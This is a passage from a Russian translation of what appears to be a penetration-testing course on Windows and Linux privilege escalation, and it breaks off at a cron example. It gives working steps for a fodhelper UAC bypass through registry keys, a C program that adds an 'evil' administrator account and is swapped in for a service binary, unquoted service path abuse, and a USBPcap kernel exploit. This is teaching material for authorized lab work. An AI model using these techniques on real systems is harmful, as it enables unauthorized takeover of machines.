user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_276.png

Рисунок 2: Управление дополнительными функциями

Как скоро будет видно, файл работает с правами высокой безопасности (high integrity) в Windows 10 1709. Это можно применить для обхода UAC, используя механизм взаимодействия fodhelper с реестром Windows. Точнее, он взаимодействует с ключами реестра, которые могут быть изменены без администраторских привилегий. Попытаемся найти и изменить эти ключи реестра, чтобы выполнить любую команду с уровнем высокой безопасности (high integrity).

представляет собой иерархическую базу данных, в которой хранится важная информация для операционной системы и для приложений, использующих реестр. Реестр хранит настройки, опции и другую различную информацию в иерархической древовидной структуре, .

Начнем анализ с запуска двоичного файла C:\Windows\System32\fodhelper.exe, представленного в панели "Manage Optional Features settings" (Управление дополнительными функциями):

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_277.png

Рисунок 3: Запуск fodhelper.exe из командной строки

Для того, чтобы собрать подробную информацию об уровне безопасности fodhelper и разрешениях, необходимых для запуска этого процесса, рассмотрим его . Манифест приложения представляет собой XML-файл, содержащий информацию, позволяющую операционной системе знать, как работать с программой при ее запуске. Рассмотрим манифест с помощью утилиты sigcheck из , передав аргумент -a для получения расширенной информации и -m для дампа манифеста.

Код:
C:\> cd C:\Tools\privilege_escalation\SysinternalsSuite

C:\Tools\privilege_escalation\SysinternalsSuite> sigcheck.exe -a -m C:\Windows\System32\fodhelper.exe

c:\windows\system32\fodhelper.exe:
        Verified:       Signed
        Signing date:   4:40 AM 9/29/2017
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    Features On Demand Helper
        Product:        Microsoft« Windows« Operating System
        Prod version:   10.0.16299.15
        File version:   10.0.16299.15 (WinBuild.160101.0800)
        MachineType:    32-bit
        Binary Version: 10.0.16299.15
        Original Name:  FodHelper.EXE
        Internal Name:  FodHelper
        Copyright:      ® Microsoft Corporation. All rights reserved.
        Comments:       n/a
        Entropy:        6.306
        Manifest:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly
   xmlns="urn:schemas-microsoft-com:asm.v1"
   xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
   manifestVersion="1.0">
 <assemblyIdentity type="win32" publicKeyToken="6595b64144ccf1df"
    name="Microsoft.Windows.FodHelper" version="5.1.0.0"
    processorArchitecture="x86"/>
 <description>Features On Demand Helper UI</description>
 <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  <security>
      <requestedPrivileges>
          <requestedExecutionLevel
            level="requireAdministrator"
          />
      </requestedPrivileges>
  </security>
 </trustInfo>
 <asmv3:application>
    <asmv3:windowsSettings
      xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
        <dpiAware>true</dpiAware>
        <autoElevate>true</autoElevate>
    </asmv3:windowsSettings>
 </asmv3:application>
</assembly>
Листинг 46 - Проверка application manifest файла fodhelper.exe с использованием sigcheck.exe

Беглый просмотр результатов показывает, что приложение предназначено для запуска административными пользователями и, как таковое, требует полного (access token). Кроме того, флаг установлен в true, что позволяет исполняемому файлу автоматически подниматься на высокий уровень безопасности (high integrity) без запроса согласия администратора.

Можно использовать из набора Sysinternals для сбора дополнительной информации об этом инструменте.

Process Monitor является незаменимым инструментом, когда нашей целью является понимание того, как конкретный процесс взаимодействует с файловой системой и реестром Windows. Это отличный инструмент для выявления таких проблем, как перехват реестра, и многое другое.

После запуска procmon.exe снова запустим fodhelper.exe и установим фильтры, которые будут сфокусированы на действиях, выполняемых целевым процессом.

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_278.png

Рисунок 4: Фильтр по имени процесса в Procmon

Этот фильтр значительно уменьшил объем выводимых данных, но в этой специфической уязвимости нас интересует только то, как это приложение взаимодействует с ключами реестра, которые могут быть изменены текущим пользователем. Чтобы уточнить результаты, настроим фильтр с помощью поиска по "Reg", который Procmon использует для маркировки операций реестра.

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_279.png

Рисунок 5: Фильтр по операцц в Procmon

После добавления нового фильтра необходимо увидеть результаты только для операций с реестром. На Рисунке 6 показан сокращенный результат Process Monitor в результате добавления двух наших фильтров.

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_280.png

Рисунок 6: Результат работы фильтров по имени процесса и операции в Procmon

Это приемлемые результаты, но нам необходимо еще больше сузить круг поиска. В частности, мы хотим посмотреть, пытается ли приложение fodhelper получить доступ к несуществующим записям реестра. Если это так, и разрешения этих ключей реестра позволяют это сделать, то мы, возможно, сможем взломать эти записи и потенциально помешать действиям, которые пытается выполнить целевой процесс с высоким уровнем безопасности.

Чтобы еще раз сузить поиск, запустим приложение заново и добавим фильтр "Result" для строки "NAME NOT FOUND" - сообщение об ошибке, указывающее на то, что приложение пытается получить доступ к записи реестра, которой не существует.

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_281.png

Рисунок 7: Фильтр по Result в Procmon

Вывод показывает, что fodhelper.exe на самом деле генерирует ошибку "NAME NOT FOUND" - индикатор потенциально уязвимой записи в реестре.

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_282.png

Рисунок 8: Фильтр по результату Result в Procmon

Однако, поскольку мы не можем произвольно изменять записи реестра в каждой ветви, нам нужно сосредоточиться на ветви реестра, которую мы можем контролировать. В этом случае, сконцентрируемся на ветви HKEY_CURRENT_USER (HKCU), к которой у нас, текущего пользователя, есть доступ на чтение и запись:

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_283.png

Рисунок 9: Фильтр по Path в Procmon

Применение этого дополнительного фильтра дает следующие результаты:

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_284.png

Рисунок 10: fodhelper.exe ищет command value

Согласно результатам этой работы, видим кое-что довольно интересное. Приложение fodhelper.exe пытается запросить ключ реестра HKCU:\Software\Classes\ms-settings\shell\open\command, который, судя по всему, не существует.

Чтобы лучше понять, почему это происходит и для чего именно используется этот ключ реестра, изменим нашу проверку под Path и будем специально искать любой доступ к записям, содержащим ms-settings\shell\open\command. Если процесс может успешно получить доступ к этому ключу в каком-то другом hive, результаты дадут нам больше подсказок.

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_285.png

Рисунок 11: Путь исполнения shell\\open\\command

Этот вывод содержит интересный результат. Когда fodhelper не находит регистрационный ключ mssettings\shell\open\command в HKCU, он сразу же пытается получить доступ к этому же . Так как эта запись действительно существует, доступ успешен.

Если поищем HKCR:ms-settings\shell\open\command в реестре, то найдем существующую запись:

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_286.png

Рисунок 12: Запись реестра DelegateExecute

Основываясь на этом наблюдении и после поиска в этого формата ключа реестра (application-name\shell\open), можно сделать вывод, что fodhelper открывает раздел приложения Windows Settings (скорее всего, Manage Optional Features, представленного пользователю при запуске fodhelper) через . Протокол приложения в Windows определяет исполняемый файл, который будет запущен, когда программа использует определенный URL. Эти сопоставления URLApplication могут быть определены через записи реестра, подобные ключу ms-settings, который был найден в HKCR (Рисунок 12 выше). В данном конкретном случае схема протокола приложения для ms-settings передает выполнение не программе, а . Это можно сделать, установив значение ключа в конкретный идентификатор класса COM, как подробно описано в документации MSDN.

Это несомненно интересно, потому что fodhelper сначала пытается получить доступ к ключу реестра ms-setting в hive HKCU. Предыдущие результаты Process Monitor ясно показали, что этого ключа не существует в HKCU, но нам необходимо иметь необходимые разрешения для его создания. Это может позволить перехватить выполнение через правильно отформатированный обработчик протокола. Попробуем добавить этот ключ с помощью :

Код:
C:\Users\admin> REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
The operation completed successfully.

C:\Users\admin>
Листинг 47 - Добавляем значение command в реестр

После того, как добавили ключ реестра, очистим все результаты из Process Monitor (используя иконку, выделенную на рисунке 13), перезапустим fodhelper.exe и будем следить за активностью процесса:

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_287.png

Рисунок 13: Очистка окна вывода Process Monitor

Пожалуйста, обратите внимание, что очистка окна вывода НЕ очищает созданные нами фильтры. Они сохраняются, и нам не нужно их восстанавливать.

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_288.png

Рисунок 14: Окно вывода Process Monitor

На рисунке выше показано, что на этот раз fodhelper.exe пытается запросить значение (DelegateExecute), хранящееся в нашем только что созданном ключе command. Этого не происходило до того, как мы создали наш поддельный ключ протокола приложения. Однако, поскольку мы не хотим перехватывать выполнение через COM-объект, добавим запись DelegateExecute, оставив ее значение пустым. Мы надеемся, что когда fodhelper обнаружит это пустое значение, он будет следовать спецификациям MSDN для протоколов приложений и будет искать программу для запуска, указанную в ключевой записи Shell\Open\command\Default.

Будем использовать REG ADD с аргументом /v для указания имени значения и /t для указания типа:

Код:
C:\Users\admin> REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v Delega
teExecute /t REG_SZ
The operation completed successfully.
Листинг 48 - Добавляем значение DelegateExecute в ключ реестра command

Для проверки того, что fodhelper успешно обращается к только что добавленной записи DelegateExecute, удалим фильтр "NAME NOT FOUND" и заменим его на "SUCCESS", чтобы показать только успешные операции и заново запустии процесс:

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_289.png

Рисунок 15: fodhelper.exe ожидает (Default) значение в ключе реестра command

Как и ожидалось, fodhelper находит новую запись DelegateExecute, которую была добавлена, но так как ее значение пустое, она также ищет (Default) значение записи реестра Shell\open\command. Значение записи (Default) создается как ноль автоматически при добавлении любого ключа реестра. Будем следовать спецификациям протокола приложения и заменим пустое (Default) значение на исполняемый файл по нашему выбору, cmd.exe. Это должно заставить fodhelper обрабатывать ms-settings: протокол нашим собственным исполняемым файлом!

Чтобы проверить эту теорию, установим новое значение реестра. Укажем новое значение реестра с помощью /d "cmd.exe" и /f, чтобы добавить значение незаметно.

Код:
C:\Users\admin> REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
The operation completed successfully.
Листинг 49 - Установка (Default) значения в cmd.exe

После установки значения и повторного запуска fodhelper.exe получаем командный шелл:

user_account_control_UAC_bypas_fodhelper_exe_case_study_figure_290.png

Рисунок 16: Выполнение высокопривилегированной команды cmd.exe через fodhelper.exe

Вывод команды whoami /groups указывает на то, что это командный интерпретатор с высоким уровнем безопасности. Далее попытаемся изменить пароль администратора, чтобы посмотреть, можем ли успешно обойти UAC:

Код:
C:\Windows\system32> net user admin Ev!lpass
The command completed successfully.
Листинг 50 - Успешное изменение пароля пользователя admin после запуска cmd.exe с высоким уровнем безопасности с помощью fodhelper.exe

Смена пароля прошла успешно и мы успешно обошли UAC!

Эта атака не только демонстрирует потрясающий обход UAC, но и раскрывает процесс, с помощью которого возможно обнаружить подобные обходы.

Небезопасные права доступа к файлам: изучение примера Serviio

Как упоминалось ранее, обычным способом повышения привилегий в системе Windows является использование небезопасных файловых прав доступа для служб, которые работают от имени nt authority\system.

Например, рассмотрим сценарий, в котором разработчик программного обеспечения создает программу, работающую как служба Windows. Во время установки разработчик не защищает права доступа программы, разрешая полный доступ на чтение и запись всем членам группы . В результате, низкопривилегированный пользователь может заменить программу на вредоносную. При перезапуске службы или перезагрузке машины вредоносный файл будет выполняться с привилегиями SYSTEM.

Такой тип уязвимости существует на нашем клиенте Windows. Давайте проверим уязвимость и воспользуемся ею.

В одной из предыдущих подглав было показано, как просмотреть список запущенных служб с помощью tasklist. В качестве альтернативы можно было бы использовать команду PowerShell Get-WmiObject с классом win32_service WMI. В этом примере передадим вывод в Select-Object для отображения интересующих нас полей и используем Where-Object для отображения запущенных служб ({$_.State -like 'Running'}}):

Код:
PS C:\Users\student> Get-WmiObject win32_service | Select-Object Name, State, PathName
| Where-Object {$_.State -like 'Running'}

Name                  State   PathName
----                  -----   --------
AudioEndpointBuilder  Running C:\Windows\System32\svchost.exe -k LocalSystemNetworkRes
Audiosrv              Running C:\Windows\System32\svchost.exe -k LocalServiceNetworkRe
...
Power                 Running C:\Windows\system32\svchost.exe -k DcomLaunch
ProfSvc               Running C:\Windows\system32\svchost.exe -k netsvcs
RpcEptMapper          Running C:\Windows\system32\svchost.exe -k RPCSS
RpcSs                 Running C:\Windows\system32\svchost.exe -k rpcss
SamSs                 Running C:\Windows\system32\lsass.exe
Schedule              Running C:\Windows\system32\svchost.exe -k netsvcs
SENS                  Running C:\Windows\system32\svchost.exe -k netsvcs
Serviio               Running C:\Program Files\Serviio\bin\ServiioService.exe
ShellHWDetection      Running C:\Windows\System32\svchost.exe -k netsvcs
...
Листинг 51 - Список запущенных сервисов в Windows, полученный с помощью PowerShell

На основании этого вывода служба Serviio выделяется тем, что установлена в каталоге Program Files. Это означает, что сервис установлен пользователем, а разработчик программного обеспечения отвечает за структуру каталога, а также за права доступа к нему. Эти обстоятельства делают его более подверженным подобным уязвимостям.

В качестве следующего шага составим список прав доступа к целевой службе с помощью утилиты . Эта утилита выведет идентификаторы безопасности службы (или ) с последующей маской прав доступа, которые определены в документации . Ниже перечислены наиболее актуальные маски и права доступа:

Код:
|   Mask  | Permissions               |
|-------- |---------------------------|
|    F    | Full access               |
|    M    | Modify access             |
|    RX   | Read and execute access   |
|    R    | Read-only access          |
|    W    | Write-only access         |
Таблица 1 - Маска прав доступа icacls

Можно запустить icacls, передав в качестве аргумента полное название службы. В выводе команды будут перечислены соответствующие права доступа:

Код:
C:\Users\student> icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
C:\Program Files\Serviio\bin\ServiioService.exe BUILTIN\Users:(I)(F)
                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                BUILTIN\Administrators:(I)(F)
                                                APPLICATION PACKAGE AUTHORITY\ALL APPL
ICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
Листинг 52 - Результат работы icacls для сервиса ServiioService.exe

Как и предполагалось, права доступа, связанные с исполняемым файлом ServiioService.exe, весьма интересны. В частности, оказывается, что любой пользователь (BUILTIN\Users) в системе имеет полный доступ на чтение и запись. Это .

Для того, чтобы использовать этот тип уязвимости, можно заменить ServiioService.exe на наш собственный вредоносный двоичный файл, а затем запустить его, перезапустив службу или перезагрузив машину.

Продемонстрируем эту атаку на примере. Следующий код на C создаст пользователя с именем "evil" и добавит этого пользователя в группу локальных администраторов с помощью функции . Скомпилированная версия этого кода будет служить нашим вредоносным двоичным кодом:

Код:
#include <stdlib.h>

int main ()
{
  int i;

  i = system ("net user evil Ev!lpass /add");
  i = system ("net localgroup administrators evil /add");

  return 0;
}
Листинг 53 - Код adduser.c

Далее код на нашей машине Кали с помощью i686-w64-mingw32-gcc, используя -o для указания имени скомпилированного исполняемого файла:

kali@kali:~$i686-w64-mingw32-gcc adduser.c -o adduser.exe
Листинг 54 - Компиляция кода adduser.c

Можно перенести его на нашу цель и заменить оригинальный бинарный файл ServiioService.exe на нашу вредоносную копию:

Код:
C:\Users\student> move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe"
        1 file(s) moved.

C:\Users\student> move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"
        1 file(s) moved.

C:\Users\student> dir "C:\Program Files\Serviio\bin\"
 Volume in drive C has no label.
 Volume Serial Number is 56B9-BB74

 Directory of C:\Program Files\Serviio\bin

01/26/2018 07:21 AM     <DIR>          .
01/26/2018 07:21 AM     <DIR>          ..
12/04/2016 08:30 PM                867 serviio.bat
01/26/2018 07:19 AM             48,373 ServiioService.exe
12/04/2016 08:30 PM                 10 ServiioService.exe.vmoptions
12/04/2016 08:30 PM            413,696 ServiioService_original.exe
              4 File(s) 462,946 bytes
              2 Dir(s) 3,826,667,520 bytes free
Листинг 55 - Замена ServiioService.exe нашим вредоносным файлом

Чтобы запустить наш файл, можно попытаться перезапустить службу.

Код:
C:\Users\student> net stop Serviio
System error 5 has occurred.
Access is denied.
Листинг 56 - Попытка перезапуска службы и перезапуск компьютера

К сожалению, у нас, похоже, не хватает привилегий, чтобы остановить службу Serviio. Этого следовало ожидать, так как большинство сервисов управляются административными пользователями.

Поскольку у нас нет разрешения на ручной перезапуск службы, необходимо подумать о другом подходе. Если служба установлена на "Автоматически", и можно перезапустить службу, перезагрузив машину. Давайте проверим варианты запуска службы Serviio с помощью командной строки

Код:
C:\Users\student>wmic service where caption="Serviio" get name, caption, state, startmode
Caption  Name     StartMode  State
Serviio  Serviio  Auto       Running
Листинг 57 - Просмотр StartMode уязвимого сервиса

Этот сервис будет автоматически запущен после перезагрузки. Теперь воспользуемся командой whoami, чтобы определить, имеет ли наш текущий пользователь права на перезагрузку системы:

Код:
C:\Users\student>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
Листинг 58 - Проверка возможности перезагрузки системы

Приведенный выше список показывает, что нашему пользователю были предоставлены права выключения ( ) (среди прочего), и поэтому мы должны быть в состоянии инициировать выключение или перезагрузку системы. Обратите внимание, что состояние Disabled указывает только на то, включена ли в данный момент привилегия для выполняющегося процесса. В нашем случае это означает, что whoami не запрашивала и, следовательно, в данный момент не использует привилегию SeShutdownPrivilege.

Если бы SeShutdownPrivilege не было, пришлось бы ждать, пока жертва вручную запустит службу, что было бы гораздо менее удобно для нас.

Перезагрузимся (/r) через 0 секунд (/t 0):

C:\Users\student\Desktop> shutdown /r /t 0
Листинг 59 - Перезапуск компьютера

Теперь, когда перезагрузка завершена, должна появиться возможность войти на целевую машину, используя имя пользователя "evil" с паролем "Ev!lpass". После этого с помощью команды net localgroup можно подтвердить, что пользователь evil входит в группу локальных администраторов.

Код:
C:\Users\evil> net localgroup Administrators
Alias name     Administrators
Comment   Administrators have complete and unrestricted access to the computer/domain

Members
-------------------------------------------------------------------------------
admin
Administrator
corp\Domain Admins
corp\offsec
evil
The command completed successfully.
Листинг 60 - Пользователь “evil” является членом группы Administrators

Замечательно. Были использованы небезопасные файловые права доступа, чтобы заменить служебную программу на наш собственный вредоносный бинарный файл, который при запуске предоставил нам административный доступ к системе.

Использование неквотированного (не заключенному в кавычки) пути к сервису (Leveraging Unquoted Service Paths)

Еще один интересный вектор атаки, который может привести к повышению привилегий на операционных системах Windows, связан с отсутствием кавычек в пути к службам ( ). Можно использовать эту атаку, когда имеем права на запись в основной каталог и подкаталоги службы, но не можем заменить в них файлы.

Как было показано в прошлой подглаве, каждая служба Windows сопоставляет исполняемый файл, который будет запущен при запуске службы. Чаще всего службы, сопровождающие стороннее программное обеспечение, хранятся в директории C:\\Program Files, которая содержит символ пробела в своем названии. Потенциально это может быть использовано для атаки на повышение привилегий.

При использовании путей к файлам или каталогам, которые содержат пробелы, разработчики всегда должны убедиться, что . Это гарантирует их явное объявление. Однако, когда это не так и имя пути не заключено в кавычки, оно может быть изменено. В частности, в случае с исполняемыми путями, всё, что приходит после каждого символа пробела, будет рассматриваться как потенциальный аргумент или опция для исполняемого файла.

Например, представьте, что у нас есть служба, хранящаяся в таком пути, как C:\Program Files\My Files\My Program\My Service\service.exe. Если путь службы хранится без кавычек, всякий раз, когда Windows запускает службу, она будет пытаться запустить исполняемый файл по следующим путям:

Код:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
Листинг 61 - Пример того, как Windows будет искать правильный путь к сервису, чей путь указан без кавычек

В этом примере Windows будет искать каждое "интерпретированное место" в попытке найти правильный путь к исполняемому файлу. Для того, чтобы использовать это и отменить исходный вызов службы без кавычек, необходимо создать вредоносный исполняемый файл, поместить его в директорию, соответствующую одному из интерпретированных путей, и назвать его так, чтобы он также совпадал с интерпретированным именем файла. Затем, когда служба запустится, она должна выполнить наш файл с теми же привилегиями, с которыми запускается служба. Часто случается так, что это учетная запись NT\SYSTEM, что приводит к успешной атаке на повышение привилегий.

Например, можно назвать исполняемый файл Program.exe и поместить его в C:\, или назвать его My.exe и поместить его в C:\Program Files. Однако для этого потребуются некоторые маловероятные разрешения на запись, поскольку стандартные пользователи не имеют доступа на запись в эти каталоги по умолчанию.

Скорее всего, основной каталог программы (C:\Program Files\My Program в нашем примере) или подкаталог (C:\Program Files\My Files\My Program\My service) неправильно настроен, что позволит создать вредоносный бинарный файл My.exe.

Несмотря на то, что данная уязвимость требует особого сочетания требований, она легко поддается эксплуатации и является заслуживающим внимания вектором атаки на повышение привилегий.

Уязвимости ядра Windows: изучение примера USBPcap

В предыдущем примере fodhelper.exe была использована уязвимость приложения для обхода UAC. В этом разделе будет продемонстрировано повышение привилегий, зависящее от уязвимости драйвера ядра.

При попытке использовать программное обеспечение системного уровня (такое как драйверы или само ядро), необходимо обратить внимание на несколько факторов, включая операционную систему, версию и архитектуру целевой системы. В случае неточного определения этих факторов во время выполнения эксплойта может произойти срабатывание . Это может негативно повлиять на производственную систему клиента и лишить нас доступа к потенциально важной цели.

Учитывая уровень осторожности, которую необходимо проявлять, в следующем примере сначала определим версию и архитектуру целевой операционной системы.

Код:
C:\> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
System Type:               X86-based PC
Листинг 62 - Проверка версии и архитектуры ОС нашей цели

Результаты команды показывают, что наша цель работает под управлением Windows 7 SP1 на процессоре x86.

На данный момент можно попытаться обнаружить уязвимость самого ядра для Windows 7 SP1 x86 и использовать ее для повышения наших привилегий. Однако эксплойты драйверов сторонних производителей встречаются чаще. Поэтому всегда необходимо пытаться исследовать эту поверхность атаки, прежде чем прибегать к более сложным атакам.

Для этого сначала рассмотрим драйверы, установленные в системе:

Код:
C:\Users\student\Desktop>driverquery /v

Module Name  Display Name           Description Driver        Type  Start M
ode State     Status    Accept Stop Accept Pause Paged Pool Code(bytes BSS(by
Link Date            Path                                             Init(byt
es
============ ====================== ====================== ============= =======
=== ========== ========== =========== ============ ========== ========== ======
====================== ================================================ ========
==
ACPI        Microsoft ACPI Driver  Microsoft ACPI Driver  Kernel         Boot
    Running   OK         TRUE        FALSE        77,824     143,360     0
11/20/2010 12:37:52 AM C:\Windows\system32\drivers\ACPI.sys             8,192

...

USBPcap     USBPcap Capture Servic USBPcap Capture Servic Kernel         Manual
    Stopped   OK         FALSE       FALSE        7,040      9,600       0
10/2/2015 2:08:15 AM  C:\Windows\system32\DRIVERS\USBPcap.sys            2,176

...
Листинг 63 - Список установленных драйверов

Вывод состоит из типичных драйверов Microsoft и небольшого количества драйверов сторонних производителей, таких как USBPcap. Важно отметить, что несмотря на то, что этот драйвер помечен как остановленный, все равно можно взаимодействовать с ним, так как он загружен в пространство памяти ядра.

Поскольку драйверы Microsoft довольно часто обновляются, драйверы сторонних производителей представляют собой более заманчивую цель для атак. Например, давайте поищем USBPcap в Exploit Database:

Код:
kali@kali:~# searchsploit USBPcap
--------------------------------------- ----------------------------------------
 Exploit Title                         | Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
USBPcap 1.1.0.0 (WireShark 2.2.5) - Lo | exploits/windows/local/41542.c
--------------------------------------- ----------------------------------------
Листинг 64 - Вывод команды searchsploit для “USBPcap”

В результате выдается сообщение о наличии одного эксплойта, доступного для USBPcap. Как показано в Листинге 65, этот нацелен на нашу версию операционной системы, уровень патча и архитектуру. Однако это зависит от конкретной версии драйвера, а именно от USBPcap версии 1.1.0.0, который устанавливается вместе с Wireshark 2.2.5.

Код:
Exploit Title    - USBPcap Null Pointer Dereference Privilege Escalation
Date             - 07th March 2017
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://desowin.org/usbpcap/
Tested Version   - 1.1.0.0 (USB Packet cap for Windows bundled with WireShark 2.2.5)
Driver Version   - 1.1.0.0 - USBPcap.sys
Tested on OS     - 32bit Windows 7 SP1
CVE ID           - CVE-2017-6178
Vendor fix url   - not yet
Fixed Version    - 0day
Fixed driver ver - 0day
...
Листинг 65 - Информация об эксплоите USBPcap

Посмотрим на целевую систему, чтобы узнать версию драйвера.

Для начала просмотрим содержимое каталога Program Files в поисках каталога USBPcap:

Код:
C:\Users\n00b> cd "C:\Program Files"

C:\Program Files> dir
...
08/13/2015 04:04 PM <DIR> MSBuild
07/14/2009 06:52 AM <DIR> Reference Assemblies
01/24/2018 02:30 AM <DIR> USBPcap
12/22/2017 04:11 PM <DIR> VMware
04/12/2011 04:16 AM <DIR> Windows Defender
...
Листинг 66 - Поиск директории USBPcap

Как видно, в C:\Program Files есть каталог USBPcap. Однако следует помнить, что каталог драйвера часто находится в C:\Windows\System32\DRIVERS. Посмотрим , чтобы узнать больше о версии драйвера:

Код:
C:\Program Files\USBPcap> type USBPcap.inf
[Version]
Signature           = "$WINDOWS NT$"
Class               = USB
ClassGuid           = {36FC9E60-C465-11CF-8056-444553540000}
DriverPackageType   = ClassFilter
Provider            = %PROVIDER%
CatalogFile.NTx86   = USBPcapx86.cat
CatalogFile.NTamd64 = USBPcapamd64.cat
DriverVer=10/02/2015,1.1.0.0

[DestinationDirs]
DefaultDestDir = 12
...
Листинг 67 - Содержимое файла USBPcap.inf

Основываясь на информации о версии, наш драйвер должен быть уязвим. Перед тем, как попытаться его эксплуатировать, сначала необходимо скомпилировать эксплойт, так как он написан на C.

Компиляция C/C++ кода в Windows

Подавляющее большинство эксплойтов, нацеленных на уязвимости уровня ядра (в том числе и выбранный нами), написаны на низкоуровневом языке программирования, таком как C или C++, и поэтому требуют компиляции. В идеальном случае, скомпилируем код на той версии платформы, на которой он предназначен для запуска. В подобных случаях была бы просто создана виртуальная машина, аналогичная целевой, и скомпилирован код на ней. Вместе с тем, можно скомпилировать код на операционной системе, полностью отличной от той, на которую нацелены. Например, можно скомпилировать двоичный файл Windows на нашей системе Кали.

Однако в данном случае будет использован , который предоставляет нам компилятор GCC на Windows.

Поскольку в нашем Windows-клиенте предустановлен Mingw-w64, можно запустить скрипт mingw-w64.bat, который устанавливает переменную окружения PATH для исполняемого файла gcc. После завершения работы скрипта мы можем выполнить gcc.exe, чтобы убедиться, что все работает правильно:

Код:
C:\Program Files\mingw-w64\i686-7.2.0-posix-dwarf-rt_v5-rev1> mingw-w64.bat

C:\Program Files\mingw-w64\i686-7.2.0-posix-dwarf-rt_v5-rev1>echo off
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\> gcc
gcc: fatal error: no input files
compilation terminated.

C:\> gcc --help
Usage: gcc [options] file...
Options:
  -pass-exit-codes         Exit with highest error code from a phase.
  --help                   Display this information.
  --target-help            Display target specific command line options.
  --help={common|optimizers|params|target|warnings|[^]{joined|separate|undocumented}}[
                           Display specific types of command line options.
  (Use '-v --help' to display command line options of sub-processes).
  --version Display compiler version information.
...
Листинг 68 - gcc работает после запуска mingw-w64.bat

Хорошо. Кажется, компилятор работает. Теперь перенесем код эксплойта на наш Windows-клиент и попытаемся его скомпилировать. Поскольку автор не упомянул никаких конкретных опций компиляции, мы попытаемся запустить gcc без каких-либо аргументов, кроме указания имени выходного файла с помощью -o:

compiling_c_c++_code_on_windows_figure_291.png

Рисунок 17: Компиляция эксплоита с использованием gcc

Несмотря на два , эксплойт успешно скомпилировался и gcc создал исполняемый файл exploit.exe. Если бы процесс выдал сообщение об ошибке, компиляция была бы прервана, и нам пришлось бы попытаться исправить код эксплойта и перекомпилировать его.

Теперь, когда эксплойт был скомпилирован, можно перенести его на нашу целевую машину и попытаться его запустить. Для того, чтобы определить, было ли успешное повышение привилегий, можно использовать команду whoami до и после выполнения эксплойта:

compiling_c_c++_code_on_windows_figure_292.png

Рисунок 18: Повышение привилегий в Windows с использованием эксплоита

Здорово! Привилегии были успешно повышены с admin-pc\n00b , это учетная запись Windows с наивысшим уровнем привилегий.

Примеры повышения привилегий в Linux

В этом разделе обратим внимание на цели под управлением Linux. Обсудим привилегии Linux и продемонстрируем несколько распространенных методов повышения привилегий в Linux.

Введение в привилегии Linux

Прежде чем обсуждать техники эскалации привилегий, давайте кратко обсудим привилегии Linux, контроль доступа и пользователей.

Одной из определяющих особенностей Linux и других производных UNIX является то, что большинство ресурсов, включая файлы, каталоги, устройства и даже сетевые связи, .

Идеология Linux: "все есть файл". Каждый файл (и, соответственно, каждый элемент системы Linux) подчиняется , основанным на трех основных возможностях: чтении, записи и исполнении.

Небезопасные права доступа к файлу: изучение примера Cron

Переходя к методам повышения привилегий, мы сначала рассмотрим использование небезопасных файловых прав доступа. Как и в случае с нашими примерами Windows, мы предположим, что мы уже получили доступ к нашей целевой машине Linux в качестве непривилегированного пользователя.

Для того, чтобы использовать небезопасные файловые права доступа, мы должны найти исполняемый файл, который не только позволяет нам получить доступ на запись, но и запускается с повышенным уровнем привилегий. В системе Linux, cron [543](https://en.wikipedia.org/wiki/Cron) планировщик заданий по времени является основной целью, так как системные запланированные задания выполняются с привилегиями пользователя root, а системные администраторы часто создают скрипты для заданий cron с небезопасными правами доступа.

Для целей этого примера будем использовать SSH к нашему выделенному клиенту Debian. В предыдущем разделе было показано, где искать в файловой системе установленные задания cron в целевой системе. Аналогично можно проверить файл журнала cron (/var/log/cron.log) на наличие заданий cron:

Код:
student@debian:~$ grep "CRON" /var/log/cron.log
Jan27 15:55:26 victim cron[719]: (CRON) INFO (pidfile fd = 3)
Jan27 15:55:26 victim cron[719]: (CRON) INFO (Running @reboot jobs)
...
Jan27 17:45:01 victim CRON[2615]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:50:01 victim CRON[2631]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:55:01 victim CRON[2656]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 18:00:01 victim CRON[2671]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
